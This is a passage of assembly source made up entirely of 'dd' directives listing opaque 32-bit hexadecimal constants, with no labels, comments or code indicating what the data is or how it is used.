dd 2D03DC14h, 51D0A463h, 0F75322E8h, 29646EC9h, 2D3574C6h
dd 59C10504h, 33470CEAh, 616FC64h, 25E786C8h, 4C73FCB5h
dd 2B51FCFCh, 0F6E46BE8h, 4017D629h, 80098A06h, 0AAD90AF9h
dd 0F360F014h, 88402C0Dh, 0A8B13C9h, 92A9581h, 0E4F6CA2Bh
dd 8BCC7C60h, 783CA4F8h, 68FAB42Bh, 0A757450Eh, 8C7021F9h
dd 0F4E64374h, 0F85C0173h, 0B7C1B64h, 83CA7D14h, 8A7210E8h
dd 13EDBAA3h, 0E50C1D14h, 7408D790h, 56A5F09h, 75D1C058h
dd 5908B44Ch, 89EB6CA3h, 6214DF80h, 0EB01DB96h, 0F44D8DC7h
dd 25B6DC44h, 0B886542h, 44C2D2A2h, 94A7EBF8h, 4C9C4A2Dh
dd 598148BEh, 6FB63DF6h, 1C854064h, 688E89FFh, 0CFCD26DFh
dd 1C116CA1h, 6D3D8914h, 0A016EB14h, 2DB7F02Dh, 33174C90h
dd 0B8848CD2h, 3B92E794h, 0EAC041A4h, 183D1242h, 0B0F497A5h
dd 1D7213F9h, 77240AC7h, 4A16F7F9h, 0D5046AC3h, 0A35773B4h
dd 3C85EC11h, 64722CF4h, 50CA1012h, 8B088826h, 6F450A76h
dd 2158F1A5h, 0DAAB2DBBh, 0D6CA647Fh, 8D13FE13h, 15F74CEFh
dd 0FB278317h, 60D04105h, 0F97670A5h, 49110D95h, 77F63311h
dd 5FE8F38Bh, 5DD8128Bh, 970CAAB5h, 0E2DD60C2h, 6305DADh
dd 0A7AB900Dh, 809415B1h, 56D1030Dh, 0F67DCA3Bh, 49341E8Dh
dd 0B50AB12Bh, 0D427A520h, 0CC680CFh, 8BF7754Ah, 9C3548C4h
dd 8E5C3D4Bh, 0DEB28ADh, 0EB838318h, 903D2970h, 20816413h
dd 87913D5Dh, 4A828490h, 421E933Dh, 3D370885h, 882798Dh
dd 8F3D2124h, 112086E4h, 4684923Dh, 538A220Ah, 6A1E89FFh
dd 59D30508h, 0CF0B5D89h, 0FBB4EB5Eh, 3425518Dh, 0E4A4A342h
dd 9EEA495h, 5C0BA2EEh, 5D5B1263h, 0ED40BBE2h, 15398898h
dd 50561844h, 0A47406B8h, 0E4EC8BEEh, 8860C022h, 40373C6h
dd 0F5751039h, 5E49D18Dh, 165008BBh, 13C1503Bh, 2CB1BC74h
dd 0E805583Eh, 6FD535F1h, 5BACB3C3h, 22D2801Fh, 7AED2575h
dd 0D510F21Ah, 114AD0C4h, 0D8C29E16h, 0FCA8461Eh, 0D2465DE6h
dd 0D443E33h, 3C0A1003h, 0FE067620h, 4B77EC1Ah, 74DAD1FAh
dd 0E9219204h, 0B92B56F5h, 315B4188h, 58B991E6h, 0B680B662h
dd 50118C09h, 74C3073Ah, 403D3C12h, 0E8564701h, 0B1BA2E7Eh
dd 6C077F95h, 4C7BEEBh, 81CB29BDh, 294EF3CBh, 0A24885Eh
dd 0F6655C1Ah, 0E80903DBh, 5114AB04h, 2423D8Bh, 39741F38h
dd 63C0E255h, 0C4D7608h, 3F804559h, 557F2294h, 3B6BBE62h
dd 63D41C3h, 0AAD52F51h, 8987BA15h, 5088DE93h, 0FA04EE13h
dd 70FD6103h, 0FA5DC975h, 42E88598h, 892F8B62h, 0C90C8E1Dh
dd 88F38A1Eh, 3298B012h, 0BC6CBD5Bh, 9A88BE8Dh, 0ECBE0DFAh
dd 68FF3B58h, 2A91A144h, 6C44A320h, 0A8FE4B8Bh, 35EC4FD1h
dd 2758B74Bh, 954C7053h, 66CF0B5Fh, 88D98190h, 1A1ED542h
dd 8A3E5ADFh, 33F441A2h, 3019A249h, 4A9E3165h, 0E8DAF186h
dd 0EC365717h, 48641450h, 9D5054B6h, 0F50A319h, 95D96E5Bh
dd 14950B2Ah, 218B86D7h, 951BB04Ah, 0B6A1BC56h, 0B0B8DABEh
dd 37170996h, 692D967Eh, 9C20386Eh, 508A0F44h, 0FA294001h
dd 0A329BF05h, 7BB57514h, 0F3EA403h, 1928501h, 88108A71h
dd 5240FD16h, 0EB18D50Ch, 40DA9CEh, 284E1F6Fh, 0EB3AC541h
dd 5124A43h, 400AB31Fh, 23DA8A3Fh, 18344C83h, 0CDA48CB7h
dd 8B09F620h, 75EE12A6h, 3D0CC41h, 88BC9848h, 97FF664Bh
dd 0D182F87h, 7E57C29Eh, 28A4D2Ch, 2886052Ch, 0F154BE03h
dd 348AC818h, 558B12BDh, 63F0EE14h, 0A3D8A408h, 5C461786h
dd 0ABCE1275h, 89932110h, 0F709552Ch, 0D4A9709h, 0F80D6E84h
dd 8D221451h, 8B3C61E4h, 86EEBC2h, 0C130815h, 188D41EAh
dd 0FBC2940Fh, 0EBD10C02h, 584BD38Bh, 430E29BCh, 6C60289h
dd 0B28B465Ch, 811B8875h, 4A37A822h, 80B8083h, 3F448B7Dh
dd 0ED3A535Dh, 2E657BFBh, 0E33C1953h, 2B209306h, 3C0F121Ch
dd 2DDB0341h, 7FE9AA04h, 31A5C5F8h, 17F52037h, 9C80F10h
dd 2B278303h, 0DFA9DD8Fh, 54DB29D5h, 0B7F008E2h, 0BC045312h
dd 0EDEB3C2Dh, 0C9D241A8h, 0A969D2F6h, 0D50A9275h, 6539A5EEh
dd 3144AD17h, 59302826h, 3A7D9D40h, 37F05796h, 2441C84h
dd 9C8F4AE9h, 498A8120h, 40490C44h, 0BC25091h, 81E3966h
dd 401CEC74h, 75181270h, 1307A4F9h, 0AFC62BF2h, 4CD11688h
dd 40348FF8h, 85E8606h, 16A7F09Fh, 1D7FF34h, 74EB3B36h
dd 0E1336132h, 2AAC1987h, 3A23190Bh, 78B57F55h, 444D69EFh
dd 0E61BE70h, 1AE8101Bh, 89193F62h, 0AD8B145Ch, 44E68509h
dd 0EBC39F20h, 0CC259553h, 86A6104Ch, 7485B243h, 8461873Ch
dd 78C7BEC7h, 83F6F87Dh, 0F72BF605h, 0CE91D6CDh, 0D4CF4C24h
dd 0EBFC40ABh, 4CBB0B58h, 7F1813F6h, 11EBB389h, 2511A87Ch
dd 7EE6FDC6h, 0BCBD5B4Fh, 0AA44EC12h, 0D3F82F52h, 86E9E882h
dd 26663BAAh, 0B81B9F33h, 1698A722h, 0C792229Ch, 2038C9F2h
dd 0A6DC026Bh, 9D1D46Bh, 0E1DA801Ah, 46C6B780h, 0A10A0514h
dd 8AA14B24h, 0EB1C81EAh, 0E2548DE2h, 6691D8FBh, 0CD48D9Fh
dd 0B25AA2Fh, 56CA1AB1h, 0CB994C1h, 98D3016h, 0A36BB8DDh
dd 1C0C967Ah, 0EE027C2Eh, 64355039h, 0BF521A7Dh, 90319B64h
dd 1D11559h, 80588338h, 8D071589h, 0C1027F88h, 60801873h
dd 40080824h, 0FC0F8B0Bh, 7DC195CEh, 0A1D6E426h, 0BB7C0B4Ah
dd 0A22EA7Eh, 3B38334Dh, 34FFC7Eh, 8A360CD1h, 0D36A2971h
dd 0A0A2E07h, 0A60B7508h, 0EA8D3093h, 92C7D143h, 0FAEF7DCFh
dd 890B0CBDh, 7B886108h, 45470E48h, 3BA1C383h, 31BA7CFEh
dd 3CED1851h, 8DFFD80Eh, 4D758134h, 120DB85h, 0B5815C04h
dd 58F66A0Bh, 0C30967D4h, 39337148h, 34B3F532h, 0E7F9A946h
dd 5717E815h, 0FD0CC967h, 3E890610h, 604D191h, 6AA84E80h
dd 8ED20F25h, 8170A67h, 0C80DDBBFh, 0AFB8343h, 0FF9B7C03h
dd 386E6CB9h, 84AA928Ah, 0BB44BEh, 324356C2h, 0CFE95830h
dd 8847ACA4h, 0FCBDBC08h, 85FA5D2Dh, 7E40F72Fh, 0AE044991h
dd 44E85682h, 0EFAC1088h, 444332BEh, 87B0273h, 616EE8F7h
dd 9076F48Dh, 0B08F4F90h, 563E45E3h, 106B0655h, 321854FFh
dd 0B855E5Dh, 78339981h, 534D823Ch, 648AFDE8h, 3D04662Bh
dd 32211A56h, 6F08188Bh, 0BE90016Ah, 0E8358F79h, 1F1E23B5h
dd 7F0CAC73h, 0A37BFA79h, 0D034B31Bh, 0D6B8A1EBh, 7B8DC7F1h
dd 41155819h, 88FF6A5Dh, 668AF280h, 0F9BD2F5Dh, 0BE556441h
dd 295EAD5Eh, 501C41C6h, 29187408h, 9425CDE8h, 0A11298C2h
dd 50B8F288h, 12B20D9Eh, 3D2D2A79h, 0EF43C314h, 0FC682191h
dd 31C57FA4h, 64F4A10Bh, 73B559A0h, 16D13984h, 0C67F29E6h
dd 0CDA46F8Eh, 8F58AD1Eh, 29A8B827h, 0B658574h, 38D121BBh
dd 56F111A6h, 0E605F46Ch, 14963B03h, 1C1C271Bh, 0AF6D2B01h
dd 0E3C87DE6h, 5CFCEB0Dh, 8CFA8162h, 88F11876h, 5C4B858Dh
dd 6AA39DFCh, 4B8FB384h
dd 115EC9BEh, 0FE1B9418h, 81E3E801h, 446EF93Ah, 0E1FF5713h
dd 0E80840BDh, 0AC682BEh, 14CC5940h, 1A29763Ch, 0A4AB5099h
dd 0E211827h, 1B078317h, 0A61F036Ah, 0B5859068h, 9364F0D0h
dd 0B9AAC425h, 56748A01h, 1109C5BEh, 90ABA8BEh, 70688A0Dh
dd 7E7F911Eh, 0D4ACB62Ah, 24C81784h, 1068826Dh, 119B0120h
dd 28A448DAh, 0B4B4BEB5h, 0EB5F2F2Ch, 0D5B913FEh, 53423F31h
dd 0A61EE836h, 0FC13598Dh, 3DB19BF4h, 0E1FB35DBh, 14B33AE7h
dd 1429F25Fh, 5A26D1E8h, 5EF5A550h, 9E4598F1h, 0C7A34FEEh
dd 0D1C182Ah, 211B11EBh, 0A014F52Fh, 8FA41332h, 0F6148B6Bh
dd 1898984h, 0E6270C71h, 95724B04h, 0BED2AA00h, 3C06D41Fh
dd 3440C2Dh, 30448A3Eh, 0C3402204h, 1B86E7A1h, 0BA146A56h
dd 7755E13h, 0B94C85E2h, 7DC63B0Bh, 0A3512DD0h, 0B4922E1Ah
dd 59C0A77Eh, 3D09D7E9h, 114310EAh, 9856262Eh, 0E8291C20h
dd 0EB1965h, 4AE81AB6h, 44A8AA2h, 158BF790h, 0A078719Dh
dd 20C039A4h, 0B8F4DAEBh, 33EA7C40h, 48B928D2h, 4AC2721Dh
dd 37078DF2h, 0F00E65F1h, 566F22C9h, 92B0FAFh, 42206238h
dd 0A8F98118h, 6D47C55h, 44E8C35Eh, 8016B0ADh, 0C8B8743Dh
dd 9EE90581h, 0D3507816h, 0BB93BBA8h, 65BE4684h, 4985EBFAh
dd 48D323B1h, 77169D70h, 88350339h, 362F5808h, 5BC9D08Dh
dd 0F85A1F65h, 4EC2A34Ah, 360C830Dh, 6B2B76DAh, 386CB155h
dd 653323Bh, 0D161B71h, 3EEF69AEh, 43B03F9Ch, 3018F21Bh
dd 0B092FCA1h, 0C33E019Dh, 0C2923E75h, 5E94E0E4h, 5DC9564Fh
dd 282E4728h, 0A004C47Dh, 1CA11DFAh, 55323F56h, 102C0253h
dd 82BDF632h, 0A358026Ah, 9C11448Bh, 1CD94324h, 0A1059514h
dd 3FE393D6h, 423450CAh, 20739FE9h, 39099491h, 40F9185Dh
dd 0D2388E48h, 2084642Dh, 18E240FCh, 0C4407F33h, 0EC6374AEh
dd 3C8D124Fh, 0CC4E9DBCh, 80461988h, 16F7FC4Fh, 81B057DCh
dd 13784309h, 8FE70BEBh, 0B5C5134Bh, 31BF2C8Fh, 56E09429h
dd 3AA36049h, 25A7B656h, 35501432h, 52EEB208h, 658D13E2h
dd 9501F7CCh, 91F84E29h, 0F6043331h, 25F123B9h, 25145201h
dd 5390908Dh, 1C4A73C2h, 0D5EFCFC4h, 0EB3581D4h, 3E5A2CF1h
dd 4A1E4C2Bh, 74ACE485h, 3FA754C9h, 20A99F47h, 5B44D909h
dd 43EBC516h, 0E809B4A3h, 0A3667FB6h, 8D173347h, 4552B30Ch
dd 92033155h, 0AACF14AFh, 3031122h, 0C1E8EBD6h, 0DFC4EFE7h
dd 0FA1184FAh, 0B35626D8h, 73570526h, 0ED29BC52h, 8531E2FFh
dd 0A0DD3684h, 7E17E26Bh, 8EE1E4Eh, 81C1001h, 531688EEh
dd 19EBBF0Fh, 3D5F50Ah, 141F602h, 78B1024h, 301C2489h
dd 0B35B1204h, 74A8F476h, 180DEE99h, 149C9755h, 7C93C42h
dd 1328E271h, 3CE9374Ah, 8F393225h, 2BAC8C1Fh, 8349F4C8h
dd 4E50089Ch, 0C1A19EB0h, 0EC300C83h, 0CB8DC033h, 73A21616h
dd 0F69113CFh, 0EB73013Dh, 1073136Eh, 0EB93F5Fh, 0FC3D203Dh
dd 8379C2D0h, 3FB91FE2h, 257401D1h, 5C993070h, 15C2D7FFh
dd 0E5D71020h, 0BC12C4ABh, 0A4579101h, 1C2C52B2h, 8A00AFBBh
dd 80C1F656h, 0DCFA574Bh, 7431E8A2h, 0C6EC0A09h, 9810FFFCh
dd 65803B90h, 4769D70h, 0B30FB867h, 11C520BFh, 4063C5F6h
dd 9D0539C0h, 56EB69D5h, 6A240AF5h, 5EC101BCh, 302BC623h
dd 0FF952D94h, 0B815AEA4h, 1D89B182h, 0FDE97A42h, 0F48FDB0Ch
dd 292523D4h, 401E0910h, 808B0751h, 0F8ED277Fh, 3A267433h
dd 18A0200Ah, 0A41307Ah, 6BBC496h, 94EBF01Bh, 77D04575h
dd 0FC0C27C8h, 8078EBC2h, 7E0BAF2h, 4408FA4h, 0BFCA2623h
dd 7FC861CBh, 5AF07F35h, 0F42AE8CBh, 981DF0CFh, 0F852BAB2h
dd 311C93Ch, 0FF6E22E8h, 0F87E02D9h, 21374853h, 2E1B0413h
dd 29E6CFBEh, 57056447h, 11064D1Ah, 0EDBE42Bh, 303EE929h
dd 78B0510h, 0C22563FBh, 4E72DFECh, 74C7850Fh, 3C0D8513h
dd 75B9D457h, 0AD381424h, 0A8425BDEh, 81B58540h, 105352C9h
dd 0C424FFF6h, 0B13FAACh, 840B0F7h, 5E6115AAh, 242AF30Ah
dd 589F0C06h, 0BEFC6990h, 82CF63A5h, 4E62DFDDh, 1844F2B6h
dd 6A3E2EEBh, 9F9CA0C0h, 5E4B4774h, 32F41601h, 0F72978E2h
dd 561284C8h, 75E25AB4h, 45DC571Bh, 8838776Bh, 0B496EEA8h
dd 8EFCC797h, 456ECD93h, 9660B9Ch, 0A7916E4Ah, 30DF3C08h
dd 8A59F982h, 0F34FCE45h, 10CCB42h, 881677CCh, 7A690B45h
dd 48F5F347h, 4093DFCh, 8EF77875h, 0F9F62ADAh, 6E8E021Dh
dd 0DDD1936Ah, 25D6E41Ah, 0A730BE0Ch, 9D810E75h, 0DDF6EA13h
dd 0EB4D740Ch, 0B5136E3Fh, 478A50Bh, 0FB525062h, 0EEEE77E1h
dd 3DEC164Bh, 0CA8B1A20h, 0DBB42C3Bh, 12C983E9h, 22ABACFDh
dd 50E356CAh, 1CE2753Ah, 3E0DA560h, 19810C2Eh, 78B70B68h
dd 8F5C922h, 77E8FD8h, 207E4195h, 0FFE3347Eh, 0E2AB0B64h
dd 2A55F17h, 0E89272B9h, 0F09F223Ah, 0D0F7A148h, 80F2367h
dd 0FF0B145Ch, 0D7B5A770h, 0F31AA12Fh, 1412FBA5h, 87FD8BFh
dd 0F7C62567h, 0D186EB3Bh, 3162B8E8h, 5BC35C71h, 55A6729Fh
dd 5716F954h, 106A8403h, 4122458h, 0EF436BDh, 11B817E7h
dd 20817910h, 740B0112h, 2D5D2E31h, 0B7037258h, 0D18B56CBh
dd 329285BEh, 136664BFh, 32BDD623h, 0C65D1F75h, 0C814F05Bh
dd 7BA0811h, 0B75D63Bh, 48C7C714h, 0BBC1C554h, 0A07ECC80h
dd 0D4A05EBDh, 0F0A3CD3Bh, 9CB18D5Eh, 26E4D06h, 0C7F65D5Fh
dd 5AAD5B10h, 28920A78h, 4AB77B56h, 8E8A167Dh, 1012F998h
dd 20470104h, 488DEAF7h, 14CF4AA2h, 0CAC488BAh, 0D51D32BEh
dd 6A82C31Ah, 0D664CE3Bh, 0F80D7532h, 73B7E30Ch, 6B86A40Ah
dd 0C775A04h, 6D745F0Ch, 20514F0Ch, 0E950B2Bh, 5EC28522h
dd 41835010h, 104B928Bh, 0C4FF3134h, 69E1EAB3h, 0F0F51FD9h
dd 37101F9Fh, 717EA16h, 2183CA2Bh, 0F8E2D3FFh, 140785D2h
dd 461C75B0h, 7D03FED0h, 0F7C5B811h, 969938E1h, 0EBC01C0Eh
dd 0F27C2315h, 0DC5E25BCh, 0BB6BEBF2h, 26BA964Eh, 4D8B88B3h
dd 780C52D4h, 6C1F2EB3h, 0D3A45559h, 12F878BFh, 0FAD5E837h
dd 354E09C8h, 0FB391C78h, 1401559h, 0D7BE2F91h, 0B89417BEh
dd 9E7265Fh, 9A67FBAFh, 43D5B50Ch, 59BA25B0h, 5F435BF4h
dd 0C3CF0A01h, 65B4995Eh, 4734FAC8h, 4A5E1483h, 2F97B18Ah
dd 11402712h, 8B5AF22Bh, 85BCA1CEh, 4F215E20h, 141DC843h
dd 11D86FEBh, 0A591BD0Eh, 500F464Eh, 0B9D1FC74h, 2F2C41E6h
dd 0FE2139C2h, 9962C1Eh, 3F7AC13Bh, 42C8FF81h, 0DA8B829Dh
dd 4ED68150h, 8254DF7h, 546C5F93h, 1230BE38h, 41013489h
dd 0F5754A06h, 0A5897B5Eh, 0CEB8CF55h, 7A89EE92h, 420D2648h
dd 24F92341h, 0A454E9D3h, 0C222CF23h, 5B087D13h, 995409BEh
dd 0C2D8A90Bh, 0CF040345h, 0C31C8AAh, 6BDDD8AAh, 2E80D419h
dd 0F8DA2BE6h, 0A007F0D6h, 0ABCE23E4h, 0E8231BDBh, 20D63E0Bh
dd 0CB1892EBh, 4E4412B1h, 0EED911BBh, 98DC7519h, 5BBF60F4h
dd 8EAF7ECh, 79E05958h, 7C2A75B8h, 0EEFFC20Fh, 40BBD5Ch
dd 0EB296110h, 83AF67BFh, 0D54B54C1h, 0E079F8E9h, 644C719Dh
dd 18BCBB18h, 48EA0792h, 0C5D9F40Ah, 0FDFED430h, 6647E0Fh
dd 20DF40Ch, 0B416C330h, 0C30D8110h, 0EBD9307Fh, 1E443FD9h
dd 24E086AAh, 0C001FB13h, 0FC1752ADh, 0F47A8075h, 43B5F633h
dd 31F2FCEFh, 6D49B35Eh, 0FEC52429h, 7DD05902h, 12C1E929h
dd 93E36BAFh, 2A2D72B7h
dd 45220877h, 7AB37A1Fh, 0A8430117h, 2BE640D2h, 4C4B4F58h
dd 1D0C2AF1h, 159A944h, 0D83B3CEBh, 212B3F7Fh, 90D97A54h
dd 66763191h, 52145613h, 0D4C44BAEh, 0C8618FDh, 5424A440h
dd 0A2205994h, 0DC72FF98h, 2A1F3B3Bh, 56541728h, 0D2950C31h
dd 6D108921h, 7B778B11h, 480346B4h, 0E91FA237h, 0D61FAA52h
dd 0F7E70525h, 322017Fh, 3B49E8F3h, 50D249BCh, 38629EC1h
dd 9442107Fh, 0F7177BDCh, 255513FFh, 0B30075Eh, 82DF29F1h
dd 4340FF21h, 362E49EDh, 0E4DCF825h, 306FC839h, 7520240Ah
dd 31FA8B05h, 682F6C46h, 0F4A30BC0h, 4D825133h, 2C23F39Fh
dd 746C44D8h, 0FD2A2599h, 1D154AF8h, 0D5AC7C0Dh, 7D0E4127h
dd 0C0B9092h, 24D11857h, 0E42DA7C9h, 87953C14h, 0EF23DCA5h
dd 4AEB385Bh, 7E5480BDh, 60FC601h, 0EFDB8530h, 7D1F29C7h
dd 99334707h, 0F4AD4354h, 51BE1D62h, 5A300141h, 0FF401088h
dd 0E975EE41h, 35786FA7h, 127C50C7h, 0AA353973h, 1863550Dh
dd 0F8DF17BDh, 0F5EB0E7Ch, 3E0C1FFEh, 3EFF1831h, 12020442h
dd 74A6E857h, 789DA9FDh, 7CAD219Bh, 38BF1012h, 5955654h
dd 9D6357A3h, 590F844Fh, 2371DF2h, 46B80868h, 11E42558h
dd 0FC8B41C3h, 9A668BA5h, 0D4C87FE8h, 2FD930A3h, 8741187Ch
dd 15BF0A05h, 5F0B28B3h, 1FEDBFEBh, 0B2C5A2Eh, 0DCD4A58h
dd 5AF7090Ch, 41A6F739h, 3D5832A5h, 6420566h, 44AAFFBFh
dd 0C825C893h, 0F198C1CFh, 24CF232Ch, 698E2EB7h, 0D9D08312h
dd 80FB25BEh, 0CF75238Fh, 1291EC5Bh, 0BB81374h, 0E0B92850h
dd 3A249F3Ch, 0DDE9C9BFh, 8E6F7C21h, 8BD38E12h, 0FF1F290Eh
dd 0BC663D91h, 4BEB990Ch, 0B115014Eh, 968A31E6h, 80E15AEh
dd 43C82D0Bh, 6107DDDAh, 0A9DDB9E2h, 0CECB04DFh, 8E9A1DBAh
dd 0DA80C903h, 0B1FEBC1h, 0C8DD905h, 40068912h, 88E0C781h
dd 4DEBCB91h, 0B1813DFh, 8489ACFh, 1253E6B7h, 0BC72E802h
dd 0CB64E61h, 0B6065E74h, 9014213Fh, 0E941A70Eh, 4A8ACC6Bh
dd 0A6EA38A1h, 0B14922Bh, 0B1576A40h, 1C3C09EFh, 1691641h
dd 68E05E25h, 0E7279E68h, 1C298441h, 1F18A34Ah, 0F351AC3h
dd 0C84E121Bh, 6D29C312h, 0A3182692h, 0F674643Ch, 1C1B38E1h
dd 0BD118410h, 1429A038h, 0A6AE034h, 7EB55CE8h, 0B1617EEh
dd 1D541394h, 0ED9F0347h, 0E76F208Fh, 0F1B44A12h, 39152574h
dd 5B3939D6h, 56AFAB94h, 4E2AE979h, 0AA1820F0h, 391748AEh
dd 0AC51BD1Dh, 4F531316h, 6607D5C1h, 381C196Fh, 58DA8501h
dd 29BBE1EBh, 1CCC3B61h, 0D5A14A4Dh, 7E97F060h, 45392A00h
dd 332F7C10h, 8AECBC9h, 5F7F0BFFh, 7A56A711h, 0A0D0DAA6h
dd 60752D44h, 572559Dh, 17A5E38h, 66AD935Eh, 0FC4584B3h
dd 1650D93Eh, 0AC3F8FDCh, 0A97913C2h, 0DBCA271Eh, 6A0E897Dh
dd 3163B6DEh, 0B72C5E9Ch, 2DAF4BE8h, 81DC6F35h, 40F90C80h
dd 200A1573h, 0A53D60EBh, 0E0D3C219h, 0D0BFD050h, 921FE19Eh
dd 3F94FEE2h, 0B5FF0B3h, 0ACF65672h, 2011DCC9h, 0F085A9Ah
dd 20F327Ch, 7E832E03h, 52FDEBDCh, 0C9EF5F1Ah, 463B0740h
dd 9009F9FFh, 140F0428h, 0F6CD8940h, 1174D858h, 300EFF35h
dd 0F351EB8h, 6688BF23h, 8811A0C3h, 7993DF18h, 0EF240489h
dd 0AB4F3DDEh, 8D997FC3h, 0F8BC41E1h, 0B6432EB8h, 1407E80Bh
dd 0E05FF21h, 0A451C316h, 0ED4A3311h, 0FC682AC1h, 0E874122Eh
dd 402D1BC1h, 981DB031h, 0D4364A9h, 0B3E84288h, 0BC195D12h
dd 7B0621F5h, 48682044h, 41583FCCh, 6BE3E11h, 260212D5h
dd 150A142h, 6B0DC09Ch, 39663CC0h, 158E2D35h, 0A35A4701h
dd 8D94A8F0h, 805F5215h, 0F66BF135h, 0C6033C15h, 0E2476414h
dd 0A11B7443h, 3B3C0FF6h, 2B128DC5h, 0C43B50C1h, 0A340063Fh
dd 0EB2811F8h, 10838A0Ch, 7E8A0C7Eh, 188B9366h, 5550E7B8h
dd 0BF3F6A12h, 7C2A4EF3h, 6853199Dh, 7A57834Ch, 15D4F1E2h
dd 586C391Ah, 3A1E505h, 3F60801Eh, 0B089229h, 41452015h
dd 0D45ABE3Fh, 208FA03Ah, 13F20CBh, 74553E82h, 80A142B0h
dd 2FE94298h, 0D11C1DD6h, 22264232h, 0B2B1F4A1h, 0E8653011h
dd 9A6BEC27h, 61667740h, 0D1B96D0h, 2A7142E8h, 6FB1368Bh
dd 83E9F593h, 9E8C3A70h, 1CA351C5h, 2830CD7Bh, 6E417EA6h
dd 0B3E61B31h, 5E55F2C4h, 86A52114h, 5A03C683h, 0D9448E95h
dd 0D17E2DDFh, 8C5F461Ch, 0CB6C4B94h, 0BA305CB3h, 0ABC96913h
dd 9F89C8B0h, 85BD8864h, 0A2C42B46h, 77C42C1h, 0D7F39E0h
dd 0EFEB4603h, 4E75F462h, 1D5C91F1h, 31214455h, 0C8032711h
dd 2B0A2F59h, 2311F321h, 8DBEF22Ah, 0FD3BC328h, 0D9F7C414h
dd 10BE9219h, 159AC45Ah, 0B94288F7h, 0E809432Bh, 0A611789Ch
dd 12E38A27h, 356C8AB6h, 0C8A820C5h, 0F734BE96h, 370410EAh
dd 225CB24Ah, 20EA914Ch, 0A45B4CD9h, 53B1409h, 15C35F92h
dd 97981022h, 24DA9357h, 6428405Ah, 0B7865DCCh, 321BEE0Dh
dd 0E02A6651h, 0EC1E2113h, 39EA1132h, 647508E8h, 4AE4151Dh
dd 0E6141357h, 40E2C81Bh, 14EB5350h, 575314ACh, 0F74C6915h
dd 10EC9C0h, 9A0560A0h, 322C7C8Ah, 50268CC5h, 8985325h
dd 94909623h, 15287586h, 0A1579044h, 1B4C9213h, 40BF848Eh
dd 0BF575397h, 2C050A53h, 1F6242EBh, 0C5209B57h, 0EB4F211Fh
dd 6A0218DDh, 5308C902h, 9AE9E1F0h, 1B5F90FCh, 0B205A312h
dd 7B44910Ah, 8B12580Ch, 0E468C15h, 0F60B9CA1h, 3B1C074Eh
dd 401E7DD0h, 0BF8C0FCAh, 3C3E089Eh, 0B78F14C8h, 7ECA1B08h
dd 1A7DE128h, 4C16272Ah, 0F6627C14h, 0BF27F24h, 112A3008h
dd 26E14F95h, 0C4420425h, 6068504h, 6005E2EAh, 330F7538h
dd 426C90C9h, 0C19D1390h, 0A1748DFCh, 9C08A00Fh, 55EF1AC9h
dd 1443064h, 1565810h, 3F418938h, 391A04D6h, 3AC6583h
dd 2D5126FEh, 86EA420Eh, 9EB0A2Eh, 76D4910Bh, 0C5BCD35Bh
dd 6DD26908h, 0FF0CFEBCh, 30F8C157h, 76A1DF9h, 8489FE03h
dd 1A40253Ah, 0F750995Fh, 1877458Bh, 1C553B04h, 7010E7Fh
dd 0FB03C22Bh, 0FEC0FBD4h, 0AC0AEBF9h, 0C179900Eh, 750518EAh
dd 0EAD6A38h, 0B68B0805h, 6610CA4h, 3B88D810h, 207E07CEh
dd 0F507E983h, 0FD89531Bh, 14093CC0h, 0CD81850Ch, 7F011307h
dd 40934D03h, 32AEE87Dh, 6224422Bh, 1B378BA7h, 28AA2E3Eh
dd 150CA3B8h, 1298FD2Ch, 0F9A4A330h, 2B55EB2Ah, 6D09C42h
dd 4862052Eh, 66017A2Bh, 3E050D79h, 492A34A8h, 11EB100Dh
dd 0ABE96BAh, 15B70EF4h, 46421341h, 95D2295Ch, 0B8DA1CBAh
dd 0A1F4AD5Fh, 0E42EB60Fh, 24C94C61h, 42627C84h, 1FF61C75h
dd 0EB2842Fh, 45041AC0h, 1B2B962Ah, 0E8FC3E23h, 175C5A6h
dd 0AA4824FFh, 0B8FC1921h, 759F420Ch, 74274A36h, 7F64DD67h
dd 1C246816h, 0AF623EE1h, 0A2AA328h, 14685074h, 281C4F11h
dd 5CA37008h, 0D99DCDB9h, 45A10F04h, 3245FB0Ch, 96ABD0FFh
dd 0A129F206h, 50A1104h, 55271253h, 483BD4Ch, 4E152228h
dd 4269FE95h, 0E657F8EBh, 0F081239h, 622E8AFh, 8957E0FEh
dd 0BE774B16h, 0B27FAE69h, 5877125Ch, 1A989CEFh, 4BA4C79Ch
dd 2E771D31h, 9F20CE78h, 92AD9BFh, 697E4C75h, 5D3E029Ah
dd 129105F1h, 60AA39C5h, 6A563F21h, 1EF9085Fh, 7F2475F1h
dd 1B2093B7h, 0DEC2E24Eh, 17D67885h, 0F88BEB19h, 27049388h
dd 34BE62D8h, 0D9A4BE93h, 0ECEB2A56h, 82F54AB1h, 94850339h
dd 5D98BE5Eh, 2F858744h
dd 0C41D40F6h, 71E80D98h, 54D3B768h, 0BC47010Ah, 177C1405h
dd 34C2245Fh, 5093E8B0h, 590D8806h, 0E1247E83h, 2D54A76Fh
dd 966A7BBCh, 1015F2B8h, 0AB4A6A63h, 5333D4Bh, 32AB1D6Ch
dd 0F71215D7h, 0F68742CFh, 194C844h, 9382E8FAh, 0E9C14684h
dd 2C3AD2E2h, 30C80838h, 480244EBh, 2A225BCAh, 6F6995D6h
dd 7EFC512Bh, 85226F6Fh, 9AD2FF8Dh, 0EB082894h, 0A0DC2761h
dd 5AAA664Ch, 0EA32AE0Bh, 3B93980Ch, 6D7D58F8h, 2A50C714h
dd 0F53EF79Dh, 745261DAh, 184A5008h, 3AFBD7EBh, 5EC2A724h
dd 4A165F0Ah, 795B0995h, 9D5C1A73h, 40BE82D7h, 2275767Dh
dd 92385511h, 0EB4D0C8Bh, 0E9FA2C4h, 0EB4E914Eh, 0F61B29C1h
dd 2F608A7h, 94154832h, 771A9D45h, 3E485A7Ch, 0FA120810h
dd 0C69560D1h, 0D4FEB5Fh, 0AA4E6DDAh, 0B26F3CDDh, 8DC01D65h
dd 880F3217h, 0DA09D672h, 0C1E07A73h, 895E1033h, 0A9A92B0Ah
dd 7567C89h, 0A9A03797h, 0A72AEDCBh, 0D6172785h, 0DE632D8Eh
dd 556230FAh, 0FA031439h, 170FDEE2h, 319977EEh, 8B731F9Fh
dd 0C98748BCh, 561983FBh, 78E130BCh, 3CED8DFh, 95D89FF6h
dd 0C13F3401h, 0F10B1FE9h, 0AE6177FAh, 470FCD7h, 0D1FAEAFAh
dd 3F8E14Eh, 50CD2ED1h, 5E3FFB36h, 0ECF92EF2h, 0BE93A30h
dd 1D8967CEh, 19E7C608h, 0CFFCEAFCh, 9E4056DBh, 5853B75Ah
